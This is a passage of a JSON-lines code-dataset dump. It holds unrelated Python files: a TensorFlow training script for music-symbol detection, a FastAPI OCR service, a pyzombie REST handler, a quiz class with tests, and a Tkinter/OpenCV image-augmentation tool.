loss_mask_placeholders = [tf.placeholder(tf.float32, shape=[None, None, 1]) for x in assign[\"ds_factors\"]]\n\n debug_fetch = dict()\n\n if assign[\"stamp_func\"][0] == \"stamp_directions\":\n loss_components = []\n for x in range(len(assign[\"ds_factors\"])):\n debug_fetch[str(x)] = dict()\n # # mask, where gt is zero\n split1, split2 = tf.split(gt_placeholders[x], 2, -1)\n debug_fetch[str(x)][\"split1\"] = split1\n\n mask = tf.squeeze(split1 > 0, -1)\n debug_fetch[str(x)][\"mask\"] = mask\n\n masked_pred = tf.boolean_mask(network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][x], mask)\n debug_fetch[str(x)][\"masked_pred\"] = masked_pred\n\n masked_gt = tf.boolean_mask(gt_placeholders[x], mask)\n debug_fetch[str(x)][\"masked_gt\"] = masked_gt\n\n # norm prediction\n norms = tf.norm(masked_pred, ord=\"euclidean\", axis=-1, keep_dims=True)\n masked_pred = masked_pred / norms\n debug_fetch[str(x)][\"masked_pred_normed\"] = masked_pred\n\n gt_1, gt_2 = tf.split(masked_gt, 2, -1)\n pred_1, pred_2 = tf.split(masked_pred, 2, -1)\n inner_2 = gt_1 * pred_1 + gt_2 * pred_2\n debug_fetch[str(x)][\"inner_2\"] = inner_2\n inner_2 = tf.maximum(tf.constant(-1, dtype=tf.float32),\n tf.minimum(tf.constant(1, dtype=tf.float32), inner_2))\n\n acos_inner = tf.acos(inner_2)\n debug_fetch[str(x)][\"acos_inner\"] = acos_inner\n\n loss_components.append(acos_inner)\n else:\n nr_feature_maps = len(network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]])\n nr_ds_factors = len(assign[\"ds_factors\"])\n if assign[\"stamp_args\"][\"loss\"] == \"softmax\":\n loss_components = [tf.nn.softmax_cross_entropy_with_logits(\n logits=network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][\n nr_feature_maps - nr_ds_factors + x],\n labels=gt_placeholders[x], dim=-1) for x in range(nr_ds_factors)]\n # loss_components = [focal_loss(prediction_tensor=network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps-nr_ds_factors+x],\n # target_tensor=gt_placeholders[x]) for x in range(nr_ds_factors)]\n\n\n for x in range(nr_ds_factors):\n debug_fetch[\"logits_\" + str(x)] = network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][\n nr_feature_maps - nr_ds_factors + x]\n debug_fetch[\"labels\" + str(x)] = gt_placeholders[x]\n debug_fetch[\"loss_components_softmax\"] = loss_components\n else:\n loss_components = [tf.losses.mean_squared_error(\n predictions=network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][\n nr_feature_maps - nr_ds_factors + x],\n labels=gt_placeholders[x], reduction=\"none\") for x in range(nr_ds_factors)]\n debug_fetch[\"loss_components_mse\"] = loss_components\n\n comp_multy = []\n for i in range(len(loss_components)):\n # maybe expand dims\n if len(loss_components[i][0].shape) == 2:\n cond_result = tf.expand_dims(loss_components[i][0], -1)\n else:\n cond_result = loss_components[i][0]\n comp_multy.append(tf.multiply(cond_result, loss_mask_placeholders[i]))\n # call tf.reduce mean on each loss component\n final_loss_components = [tf.reduce_mean(x) for x in comp_multy]\n\n stacked_components = tf.stack(final_loss_components)\n\n if assign[\"layer_loss_aggregate\"] == \"min\":\n loss = tf.reduce_min(stacked_components)\n elif assign[\"layer_loss_aggregate\"] == \"avg\":\n loss = tf.reduce_mean(stacked_components)\n else:\n raise NotImplementedError(\"unknown layer aggregate\")\n\n # ---------------------------------------------------------------------\n # Debug code -- THIS HAS TO BE COMMENTED OUT UNLESS FOR DEBUGGING\n #\n # sess.run(tf.global_variables_initializer())\n # blob = data_layer.forward(args, [assign], None)\n #\n # feed_dict = {input: blob[\"data\"]}\n #\n # del debug_fetch[\"loss_components_softmax\"]\n # for i in range(len(gt_placeholders)):\n # # only one assign\n # feed_dict[gt_placeholders[i]] = blob[\"assign0\"][\"gt_map\" + str(len(gt_placeholders) - i - 1)]\n # feed_dict[loss_mask_placeholders[i]] = blob[\"assign0\"][\"mask\" + str(len(gt_placeholders) - i - 1)]\n #\n # # train step\n # loss_fetch = sess.run(debug_fetch, feed_dict=feed_dict)\n\n # end debug code\n # ---------------------------------------------------------------------\n\n # init optimizer\n var_list = [var for var in tf.trainable_variables()]\n optimizer_type = args.optim\n loss_L2 = tf.add_n([tf.nn.l2_loss(v) for v in var_list\n if 'bias' not in v.name]) * args.regularization_coefficient\n loss += loss_L2\n if optimizer_type == 'rmsprop':\n optim = tf.train.RMSPropOptimizer(learning_rate=args.learning_rate, decay=0.995).minimize(loss,\n var_list=var_list)\n elif optimizer_type == 'adam':\n optim = tf.train.AdamOptimizer(learning_rate=args.learning_rate).minimize(loss, var_list=var_list)\n else:\n optim = tf.train.MomentumOptimizer(learning_rate=args.learning_rate, momentum=0.9).minimize(loss,\n var_list=var_list)\n\n # init summary operations\n # define summary ops\n scalar_sums = []\n\n scalar_sums.append(tf.summary.scalar(\"loss \" + get_config_id(assign) + \":\", loss))\n\n for comp_nr in range(len(loss_components)):\n scalar_sums.append(tf.summary.scalar(\"loss_component \" + get_config_id(assign) + \"Nr\" + str(comp_nr) + \":\",\n final_loss_components[comp_nr]))\n\n scalar_summary_op = tf.summary.merge(scalar_sums)\n\n # images_sums = []\n # images_placeholders = []\n #\n # # MOVE TO ONE BIG IMAGE THAT IS STITCHED MANUALLY FOR EACH UPDATE\n # # # feature maps\n # # for i in range(len(assign[\"ds_factors\"])):\n # # sub_prediction_placeholder = tf.placeholder(tf.uint8, shape=[1, None, None, 3])\n # # images_placeholders.append(sub_prediction_placeholder)\n # # images_sums.append(\n # # tf.summary.image('sub_prediction_' + str(i) + \"_\" + get_config_id(assign), sub_prediction_placeholder))\n # #\n # # helper_img = tf.placeholder(tf.uint8, shape=[1, None, None, 3])\n # # images_placeholders.append(helper_img)\n # # images_sums.append(tf.summary.image('helper' + str(i) + get_config_id(assign), helper_img))\n #\n # #final_pred_placeholder = tf.placeholder(tf.uint8, shape=[1, None, None, 3])\n #\n # images_placeholders.append(final_pred_placeholder)\n # images_sums.append(tf.summary.image('DWD_debug_img', final_pred_placeholder))\n # images_summary_op = tf.summary.merge(images_sums)\n\n return loss, optim, gt_placeholders, scalar_summary_op, loss_mask_placeholders\n\n\ndef execute_assign(args, input, saver, sess, checkpoint_dir, checkpoint_name, data_layer, writer, network_heads,\n do_itr, assign, prepped_assign, iteration, training_help):\n loss, optim, gt_placeholders, scalar_summary_op, images_summary_op, images_placeholders, mask_placeholders = prepped_assign\n\n if args.prefetch == \"True\":\n data_layer = PrefetchWrapper(data_layer.forward, args.prefetch_len, args, [assign], training_help)\n\n print(\"training on:\" + str(assign))\n print(\"for \" + str(do_itr) + \" iterations\")\n for itr in range(iteration, (iteration + do_itr)):\n # load batch - only use batches with content\n batch_not_loaded = True\n while batch_not_loaded:\n blob = data_layer.forward(args, [assign], training_help)\n if int(gt_placeholders[0].shape[-1]) != blob[\"assign0\"][\"gt_map0\"].shape[-1] or len(\n blob[\"gt_boxes\"].shape) != 3:\n print(\"skipping queue element\")\n else:\n batch_not_loaded = False\n\n #disable all helpers\n blob[\"helper\"] = None\n\n if blob[\"helper\"] is not None:\n input_data = np.concatenate([blob[\"data\"], blob[\"helper\"]], -1)\n feed_dict = {input: input_data}\n else:\n if len(args.training_help) == 1:\n feed_dict = {input: blob[\"data\"]}\n else:\n # pad input with zeros\n input_data = np.concatenate([blob[\"data\"], blob[\"data\"] * 0], -1)\n feed_dict = {input: input_data}\n\n for i in range(len(gt_placeholders)):\n # only one assign\n feed_dict[gt_placeholders[i]] = blob[\"assign0\"][\"gt_map\" + str(len(gt_placeholders) - i - 1)]\n feed_dict[mask_placeholders[i]] = blob[\"assign0\"][\"mask\" + str(len(gt_placeholders) - i - 1)]\n\n # train step\n _, loss_fetch = sess.run([optim, loss], feed_dict=feed_dict)\n\n if itr % args.print_interval == 0 or itr == 1:\n print(\"loss at itr: \" + str(itr))\n print(loss_fetch)\n\n if itr % args.tensorboard_interval == 0 or itr == 1:\n fetch_list = [scalar_summary_op]\n # fetch sub_predicitons\n nr_feature_maps = len(network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]])\n\n [fetch_list.append(\n network_heads[assign[\"stamp_func\"][0]][assign[\"stamp_args\"][\"loss\"]][nr_feature_maps - (x + 1)]) for x\n in\n range(len(assign[\"ds_factors\"]))]\n\n summary = sess.run(fetch_list, feed_dict=feed_dict)\n writer.add_summary(summary[0], float(itr))\n\n # feed one stitched image to summary op\n gt_visuals = get_gt_visuals(blob, assign, 0, pred_boxes=None, show=False)\n map_visuals = get_map_visuals(summary[1:], assign, show=False)\n\n stitched_img = get_stitched_tensorboard_image([assign], [gt_visuals], [map_visuals], blob, itr)\n stitched_img = np.expand_dims(stitched_img, 0)\n # obsolete\n #images_feed_dict = get_images_feed_dict(assign, blob, None, None, images_placeholders)\n images_feed_dict = dict()\n images_feed_dict[images_placeholders[0]] = stitched_img\n\n # save images to tensorboard\n summary = sess.run([images_summary_op], feed_dict=images_feed_dict)\n writer.add_summary(summary[0], float(itr))\n\n if itr % args.save_interval == 0:\n print(\"saving weights\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver.save(sess, checkpoint_dir + \"/\" + checkpoint_name)\n global store_dict\n if store_dict:\n print(\"Saving dictionary\")\n dictionary = args.dict_info\n with open(os.path.join(checkpoint_dir, 'dict' + '.pickle'), 'wb') as handle:\n pickle.dump(dictionary, handle, protocol=pickle.HIGHEST_PROTOCOL)\n store_dict = False # we need to save the dict only once\n\n iteration = (iteration + do_itr)\n if args.prefetch == \"True\":\n data_layer.kill()\n\n return iteration\n\n\ndef get_images_feed_dict(assign, blob, gt_visuals, map_visuals, images_placeholders):\n\n # obsolete, should not be used!\n\n feed_dict = dict()\n # reverse map vis order\n for i in range(len(assign[\"ds_factors\"])):\n feed_dict[images_placeholders[i]] = np.concatenate([gt_visuals[i], map_visuals[i]])\n\n for key in feed_dict.keys():\n feed_dict[key] = np.expand_dims(feed_dict[key], 0)\n\n if blob[\"helper\"] is not None:\n feed_dict[images_placeholders[len(images_placeholders) - 2]] = (\n blob[\"helper\"] / np.max(blob[\"helper\"]) * 255).astype(np.uint8)\n else:\n data_shape = blob[\"data\"].shape[: -1]+ (3,)\n feed_dict[images_placeholders[len(images_placeholders) - 2]] = np.zeros(data_shape, dtype=np.uint8)\n\n if blob[\"data\"].shape[3] == 1:\n img_data = np.concatenate([blob[\"data\"], blob[\"data\"], blob[\"data\"]], -1).astype(np.uint8)\n else:\n img_data = blob[\"data\"].astype(np.uint8)\n feed_dict[images_placeholders[len(images_placeholders) - 1]] = img_data\n return feed_dict\n\n\ndef get_stitched_tensorboard_image(assign, gt_visuals, map_visuals, blob, itr):\n pix_spacer = 3\n\n\n #print(\"doit!\")\n # input image + gt\n input_gt = overlayed_image(blob[\"data\"][0], gt_boxes=blob[\"gt_boxes\"][0], pred_boxes=None)\n\n # input image + prediction\n #TODO get actual predictions\n input_pred = overlayed_image(blob[\"data\"][0], gt_boxes=None, pred_boxes=blob[\"gt_boxes\"][0])\n\n # stack if image has only one channel\n if len(input_gt.shape) == 2 or input_gt.shape[-1] == 1:\n input_gt = np.stack((input_gt, input_gt, input_gt), -1)\n if len(input_pred.shape) == 2 or input_pred.shape[-1] == 1:\n input_pred = np.stack((input_pred, input_pred, input_pred), -1)\n\n # concat inputs\n conc = np.concatenate((input_gt, np.zeros((input_gt.shape[0],pix_spacer,3)).astype(\"uint8\"), input_pred), axis = 1)\n # im = Image.fromarray(conc)\n # im.save(sys.argv[0][:-17] + \"asdfsadfa.png\")\n\n # iterate over tasks\n for i in range(len(assign)):\n # concat task outputs\n for ii in range(len(assign[i][\"ds_factors\"])):\n sub_map = np.concatenate([gt_visuals[i][ii], np.zeros((gt_visuals[i][ii].shape[0], pix_spacer,3)).astype(\"uint8\"), map_visuals[i][ii]], axis = 1)\n if sub_map.shape[1] != conc.shape[1]:\n expand = np.zeros((sub_map.shape[0], conc.shape[1], sub_map.shape[2]))\n expand[:, 0:sub_map.shape[1]] = sub_map\n sub_map = expand.astype(\"uint8\")\n conc = np.concatenate((conc, np.zeros((pix_spacer, conc.shape[1],3)).astype(\"uint8\"),sub_map), axis = 0)\n\n\n # show loss masks if necessary\n show_masks = True\n if show_masks:\n for i in range(len(assign)):\n # concat task outputs\n for ii in range(len(assign[i][\"ds_factors\"])):\n mask = blob[\"assign\"+str(i)][\"mask\"+str(ii)]\n mask = mask/np.max(mask)*255\n mask = np.concatenate([mask,mask,mask], -1)\n\n sub_map = np.concatenate(\n [gt_visuals[i][ii], np.zeros((gt_visuals[i][ii].shape[0], pix_spacer, 3)).astype(\"uint8\"),\n mask.astype(\"uint8\")], axis=1)\n if sub_map.shape[1] != conc.shape[1]:\n expand = np.zeros((sub_map.shape[0], conc.shape[1], sub_map.shape[2]))\n expand[:, 0:sub_map.shape[1]] = sub_map\n sub_map = expand.astype(\"uint8\")\n conc = np.concatenate((conc, np.zeros((pix_spacer, conc.shape[1], 3)).astype(\"uint8\"), sub_map), axis=0)\n\n\n\n # prepend additional info\n add_info = Image.fromarray(np.ones((50, conc.shape[1],3), dtype=\"uint8\")*255)\n\n draw = ImageDraw.Draw(add_info)\n font = ImageFont.load_default()\n draw.text((2, 2), \"Iteration Nr: \" + str(itr), (0, 0, 0), font=font)\n add_info = np.asarray(add_info).astype(\"uint8\")\n #add_info.save(sys.argv[0][:-17] + \"add_info.png\")\n conc = np.concatenate((add_info, conc), axis=0)\n return conc\n\ndef get_gt_placeholders(assign, imdb):\n gt_dim = assign[\"stamp_func\"][1](None, assign[\"stamp_args\"], nr_classes)\n return [tf.placeholder(tf.float32, shape=[None, None, None, gt_dim]) for x in assign[\"ds_factors\"]]\n\n\ndef get_config_id(assign):\n return assign[\"stamp_func\"][0] + \"_\" + assign[\"stamp_args\"][\"loss\"]\n\n\ndef get_checkpoint_dir(args):\n # assemble path\n if \"300dpi\" in args.dataset:\n image_mode = \"300dpi\"\n if \"DeepScores\" in args.dataset:\n image_mode = \"music\"\n elif \"MUSICMA\" in args.dataset:\n image_mode = \"music_handwritten\"\n else:\n image_mode = \"realistic\"\n tbdir = cfg.EXP_DIR + \"/\" + image_mode + \"/\" + \"pretrain_lvl_\" + args.pretrain_lvl + \"/\" + args.model\n if not os.path.exists(tbdir):\n os.makedirs(tbdir)\n runs_dir = os.listdir(tbdir)\n if args.continue_training == \"True\":\n tbdir = tbdir + \"/\" + \"run_\" + str(len(runs_dir) - 1)\n else:\n tbdir = tbdir + \"/\" + \"run_\" + str(len(runs_dir))\n os.makedirs(tbdir)\n return tbdir\n\n\ndef get_training_roidb(imdb, use_flipped):\n \"\"\"Returns a roidb (Region of Interest database) for use in training.\"\"\"\n if use_flipped:\n print('Appending horizontally-flipped training examples...')\n imdb.append_flipped_images()\n print('done')\n\n print('Preparing training data...')\n rdl_roidb.prepare_roidb(imdb)\n print('done')\n\n return imdb.roidb\n\n\ndef save_objectness_function_handles(args, imdb):\n FUNCTION_MAP = {'stamp_directions': stamp_directions,\n 'stamp_energy': stamp_energy,\n 'stamp_class': stamp_class,\n 'stamp_bbox': stamp_bbox,\n 'stamp_semseg': stamp_semseg\n }\n\n for obj_setting in args.training_assignements:\n obj_setting[\"stamp_func\"] = [obj_setting[\"stamp_func\"], FUNCTION_MAP[obj_setting[\"stamp_func\"]]]\n\n return args\n\n\ndef load_database(args):\n print(\"Setting up image database: \" + args.dataset)\n imdb = get_imdb(args.dataset)\n print('Loaded dataset `{:s}` for training'.format(imdb.name))\n roidb = get_training_roidb(imdb, args.use_flipped == \"True\")\n print('{:d} roidb entries'.format(len(roidb)))\n\n if args.dataset_validation != \"no\":\n print(\"Setting up validation image database: \" + args.dataset_validation)\n imdb_val = get_imdb(args.dataset_validation)\n print('Loaded dataset `{:s}` for validation'.format(imdb_val.name))\n roidb_val = get_training_roidb(imdb_val, False)\n print('{:d} roidb entries'.format(len(roidb_val)))\n else:\n imdb_val = None\n roidb_val = None\n\n data_layer = RoIDataLayer(roidb, imdb.num_classes, augmentation=args.augmentation_type)\n\n if roidb_val is not None:\n data_layer_val = RoIDataLayer(roidb_val, imdb_val.num_classes, random=True)\n\n return imdb, roidb, imdb_val, roidb_val, data_layer, data_layer_val\n\n\ndef get_nr_classes():\n return nr_classes\n","repo_name":"tuggeluk/Detection_Service","sub_path":"dwd_v2/main/train_dwd.py","file_name":"train_dwd.py","file_ext":"py","file_size_in_byte":34570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72934831122","text":"import pathlib\nimport io\nimport uuid\n\nfrom fastapi import FastAPI, Request, UploadFile, HTTPException, status\nfrom fastapi.responses import HTMLResponse, FileResponse\nfrom fastapi.templating import Jinja2Templates\nfrom PIL import Image\nimport pytesseract\nimport textwrap\n\nfrom src.settings import settings\n\nBASE_DIR = pathlib.Path(__file__).parent\nUPLOAD_DIR = BASE_DIR / \"uploads\"\nVALID_MEDIA_EXTENSIONS = [\"jpg\", \"jpeg\", \"png\"]\n\napp = FastAPI(debug=settings.debug)\ntemplates = Jinja2Templates(directory=BASE_DIR / \"templates\")\n\n\n@app.get(\"/\", response_class=HTMLResponse)\ndef index(request: Request):\n return templates.TemplateResponse(\"index.html\", {\"request\": request})\n\n\n@app.post(\"/\", response_class=HTMLResponse)\nasync def ocr(request: Request, file: UploadFile):\n file_type = pathlib.Path(file.filename).suffix.replace(\".\", \"\")\n if file_type not in VALID_MEDIA_EXTENSIONS:\n raise HTTPException(\n detail=\"Use jpg, jpeg or png.\", status_code=status.HTTP_400_BAD_REQUEST\n )\n content_stream = io.BytesIO(await file.read())\n try:\n image = Image.open(content_stream)\n preds = pytesseract.image_to_string(image)\n text = textwrap.fill(preds)\n except:\n raise HTTPException(\n detail=\"Can not open Image!\", status_code=status.HTTP_400_BAD_REQUEST\n )\n return templates.TemplateResponse(\n \"index.html\", {\"request\": request, \"ocr_text\": text}\n )\n\n\n@app.post(\"/upload\", response_class=FileResponse, status_code=status.HTTP_201_CREATED)\nasync def upload_img(file: UploadFile):\n file_type = pathlib.Path(file.filename).suffix.replace(\".\", \"\")\n if file_type not in VALID_MEDIA_EXTENSIONS:\n raise HTTPException(\n detail=\"Use jpg, jpeg or png.\", status_code=status.HTTP_400_BAD_REQUEST\n )\n UPLOAD_DIR.mkdir(exist_ok=True)\n content_stream = io.BytesIO(await file.read())\n try:\n image = Image.open(content_stream)\n except:\n raise HTTPException(\n detail=\"Can not open Image!\", status_code=status.HTTP_400_BAD_REQUEST\n )\n full_path = UPLOAD_DIR / f\"{uuid.uuid4()}.{file_type}\"\n image.save(full_path)\n return full_path\n","repo_name":"karamih/microservice_fastapi_ocr","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34515751190","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n#-------------------------------------------------------------------------------\n\"\"\"pyzombie HTTP RESTful server handler returning the set of available\nexecutables.\"\"\"\n__author__ = ('Lance Finn Helsten',)\n__version__ = '1.0.1'\n__copyright__ = \"\"\"Copyright 2009 Lance Finn Helsten (helsten@acm.org)\"\"\"\n__license__ = \"\"\"\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n__docformat__ = \"reStructuredText en\"\n\n__all__ = ['HandlerExecSet']\n\n\nimport sys\nimport os\nimport re\nimport string\nfrom datetime import datetime\nimport logging\nimport cgi\nimport http.client\nimport http.server\nfrom ..Handler import Handler\n\nINDEX_HTML = \"\"\"\n\n\n pyzombie Executables\n \n \n\n\n

pyzombie

\n

Executables

\n
    \n{0}\n
\n\n\n\"\"\"\n\nINDEX_ROW = \"\"\"
  • {0}
  • \"\"\"\n\n\nclass HandlerExecSet(Handler): \n @classmethod\n def dispatch(cls):\n cls.initdispatch(r\"\"\"^/$\"\"\",\n \"GET,POST,OPTIONS,TRACE\",\n \"/help/RESTful\")\n return cls\n \n def head(self):\n self.content = \"Headers\"\n self.get()\n \n def get(self):\n mtime = datetime.utcfromtimestamp(os.path.getmtime(self.datadir))\n \n dirs = [INDEX_ROW.format(d)\n for d in os.listdir(self.datadir)\n if os.path.isdir(os.path.join(self.datadir, d))]\n body = os.linesep.join(dirs)\n html = INDEX_HTML.format(body)\n \n self.status = http.client.OK\n self[\"Cache-Control\"] = \"public max-age=3600\"\n self[\"Last-Modified\"] = mtime.strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n self[\"Content-Type\"] = \"text/html;UTF-8\"\n self.writelines(html)\n self.flush()\n \n def post(self):\n ctype, pdict = cgi.parse_header(self.req.headers['Content-Type'])\n self.initexecutable(mediatype=ctype)\n self.executable.writeimage(self.rfile_safe())\n self.nocache = True\n self.status = http.client.CREATED\n self[\"Location\"] = self.serverurl(self.executable.name)\n self.flush()\n\n","repo_name":"lanhel/pyzombie","sub_path":"pyzombie/handlers/HandlerExecSet.py","file_name":"HandlerExecSet.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25830868138","text":"# Imported the class from P10_3, it's essentially the same code as in section 10.1, except for the\n# checkAnswer method, which is modified in this subclass either way.\nfrom P10_3 import Question\n\n# Inherited class from Question class that contains several answers to the given question. \nclass MultiChoiceQuestion(Question):\n def __init__(self):\n # Initializes the super class instance variables.\n super().__init__()\n \n # Instance method setAnswer has been modified to use answers in a list datatype. \n def setAnswer(self, correctResponse: list):\n # Making sure the values in the list are strings, so that numbers can be checked as well.\n lister = [str(i) for i in correctResponse]\n # Sorting the response, so there won't be any false negatives.\n correctResponse.sort()\n self._answer = lister\n \n # Modified the checkAnswer method to input several answers in the string, only separated by a single white space.\n def checkAnswer(self, response: str):\n lister = response.split()\n lister.sort()\n return lister == self._answer\n \nquiz = MultiChoiceQuestion() \nquiz.setText(\"Name three names that I'm thinking of. Note: Answers has to be inserted on the same line only separated by a space.\")\nquiz.setAnswer(['Tina', 'Bob', 'Anders'])\nquiz.display()\nquiz.checkAnswer('Bob Tina Anders')\n\ndef test_multiple_correct():\n quiz = MultiChoiceQuestion() \n quiz.setAnswer([4, 8])\n assert quiz.checkAnswer('8 4') == True\n \ndef test_assert_wrong():\n quiz = MultiChoiceQuestion()\n quiz.setAnswer(['Paris', 'Madrid'])\n assert quiz.checkAnswer('Madrid London') == False","repo_name":"S2215137/GRA4152","sub_path":"P10_5.py","file_name":"P10_5.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11333081021","text":"import os\nimport numpy as np\nimport cv2\nimport tkinter.filedialog\nimport time\nimport tkinter.messagebox\nimport re\nimport matplotlib.pyplot as plt\n'''\n上传照片,批量处理并保存,包括图片平移、图片旋转、图片缩放、图片翻转、透视变换。\n'''\n# dir = r'D:/deal_pics/' + time.strftime('%Y-%m-%d')\n\n\nclass ImagePerspective:\n def __init__(self,): \n self.dir = time.strftime('%Y-%m-%d')\n self.filenames = None\n self.visual_flag = False\n self.root = tkinter.Tk()\n self.root.title('图片批量处理')\n self.button = tkinter.Button(self.root, text=\"上传图片\", command=self.get_files,width=20,height=2)\n self.button.grid(row=0, column=0, padx=180, pady=20)\n\n self.text = tkinter.StringVar()\n self.text.set(\"可视化每一张图?\"+str(self.visual_flag))\n self.button0 = tkinter.Button(self.root, textvariable=self.text, command=self.visual, width=20,height=2)\n self.button0.grid(row=1, column=0, padx=1, pady=1)\n\n self.button1 = tkinter.Button(self.root, text=\"图片平移-存到本地\", command=self.pic_translate,width=20,height=2)\n self.button1.grid(row=2, column=0, padx=1, pady=1)\n self.button2 = tkinter.Button(self.root, text=\"图片旋转\", command=self.pic_rotation,width=20,height=2)\n self.button2.grid(row=3, column=0, padx=1, pady=1)\n self.button3 = tkinter.Button(self.root, text=\"图片缩放\", command=self.pic_resize,width=20,height=2)\n self.button3.grid(row=4, column=0, padx=1, pady=1)\n self.button4 = tkinter.Button(self.root, text=\"图片翻转\", command=self.pic_flip,width=20,height=2)\n self.button4.grid(row=5, column=0, padx=1, pady=1)\n self.button4 = tkinter.Button(self.root, text=\"透视变换-交互\", command=self.pic_perspective,width=20,height=2)\n self.button4.grid(row=6, column=0, padx=1, pady=1)\n self.root.geometry('500x400+600+300')\n self.root.mainloop()\n\n def get_files(self,): \n self.filenames = tkinter.filedialog.askopenfilenames(title=\"选择图片\", filetypes=[('图片', 'jpg'), ('图片', 'png')])\n CN_Pattern = re.compile(u'[\\u4E00-\\u9FBF]+')\n JP_Pattern = re.compile(u'[\\u3040-\\u31fe]+')\n if self.filenames:\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n CN_Match = CN_Pattern.search(str(self.filenames))\n JP_Match = JP_Pattern.search(str(self.filenames))\n if CN_Match:\n self.filenames=None\n tkinter.messagebox.showinfo('提示','文件路径或文件名不能含有中文,请修改!')\n return\n elif JP_Match:\n self.filenames = None\n tkinter.messagebox.showinfo('提示','文件路径或文件名不能含有日文,请修改!')\n return\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n\n def translate(self, image, x, y):\n # 定义平移矩阵\n M = np.float32([[1, 0, x], [0, 1, y]])\n shifted = cv2.warpAffine(image, M, (image.shape[1], image.shape[0]))\n # 返回转换后的图像\n return shifted\n\n def visual(self):\n self.visual_flag = bool(1 - self.visual_flag)\n print(\"self.visual_flag:\", self.visual_flag) \n self.text.set(\"可视化每一张图?\"+str(self.visual_flag))\n\n def cv2visual(self, image):\n if self.visual_flag:\n cv2.imshow('img', image)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def pic_translate(self, ):\n if not self.filenames:\n tkinter.messagebox.showinfo('提示', '请先选择图片才能进行图片平移!')\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n if self.filenames:\n for filename in self.filenames:\n if filename:\n img = cv2.imread(filename)\n newFile = filename.split('/')[-1]\n name = newFile.split('.')[0]\n filetype = newFile.split('.')[-1]\n # 将原图分别做上、下、左、右平移操作\n for x in range(4):\n for y in range(4):\n translated_img = self.translate(img, -50+x*25, -50+y*25)\n self.cv2visual(translated_img)\n img_name = \"_translated_img_x\" + str(x) + \"_y\" + str(y) + '.' +filetype\n cv2.imwrite(self.dir + '/' + name + img_name, translated_img)\n\n tkinter.messagebox.showinfo('提示', '平移后的图片已经保存到了'+self.dir+'中!')\n\n\n # 定义旋转rotate函数\n def rotation(self, image, angle, center=None, scale=1.0):\n # 获取图像尺寸\n (h, w) = image.shape[:2]\n # 若未指定旋转中心,则将图像中心设为旋转中心\n if center is None:\n center = (w / 2, h / 2)\n # 执行旋转\n M = cv2.getRotationMatrix2D(center, angle, scale)\n rotated = cv2.warpAffine(image, M, (w, h))\n # 返回旋转后的图像\n return rotated\n\n def pic_rotation(self, ):\n if not self.filenames:\n tkinter.messagebox.showinfo('提示', '请先选择图片才能进行图片旋转!')\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n if self.filenames:\n for filename in self.filenames:\n if filename:\n img = cv2.imread(filename)\n newFile = filename.split('/')[-1]\n name = newFile.split('.')[0]\n filetype = newFile.split('.')[-1]\n # 将原图每隔15度旋转一次操作\n for r in range(24):\n rotated_img = self.rotation(img, (r+1)*15)\n self.cv2visual(rotated_img)\n cv2.imwrite(self.dir + '/' + name + '_Rotated'+str((r+1)*15)+'Degrees.' + filetype, rotated_img)\n \n tkinter.messagebox.showinfo('提示', '旋转后的图片已经保存到了'+self.dir+'中!')\n\n def resize(self, image, width=None, height=None, inter=cv2.INTER_AREA):\n # 初始化缩放比例,并获取图像尺寸\n dim = None\n (h, w) = image.shape[:2]\n # 如果宽度和高度均为0,则返回原图\n if width is None and height is None:\n return image\n # 宽度是空\n if width is None:\n # 则根据高度计算缩放比例\n r = height / float(h)\n dim = (int(w * r), height)\n # 如果高度为空\n else:\n # 根据宽度计算缩放比例\n r = width / float(w)\n dim = (width, int(h * r))\n # 缩放图像\n resized = cv2.resize(image, dim, interpolation=inter)\n # 返回缩放后的图像\n return resized\n\n def pic_resize(self, ):\n # 创建插值方法数组\n methods = [\n # (\"cv2.INTER_NEAREST\", cv2.INTER_NEAREST),\n (\"cv2.INTER_LINEAR\", cv2.INTER_LINEAR),\n # (\"cv2.INTER_AREA\", cv2.INTER_AREA),\n # (\"cv2.INTER_CUBIC\", cv2.INTER_CUBIC),\n # (\"cv2.INTER_LANCZOS4\", cv2.INTER_LANCZOS4)\n ]\n\n if not self.filenames:\n tkinter.messagebox.showinfo('提示', '请先选择图片才能进行图片缩放!')\n if not os.path.exists(self.dir):\n os.makedirs(self.dir)\n if self.filenames:\n for filename in self.filenames:\n if filename:\n img = cv2.imread(filename)\n newFile = filename.split('/')[-1]\n name = newFile.split('.')[0]\n filetype = newFile.split('.')[-1]\n # 将原图做缩放操作\n scale_list = [0.3, 0.5, 2, 3]\n for (resizeTpye, method) in methods:\n for r in scale_list: \n ResizedImage = self.resize(img, width=img.shape[1] * 2, inter=method)\n self.cv2visual(ResizedImage)\n 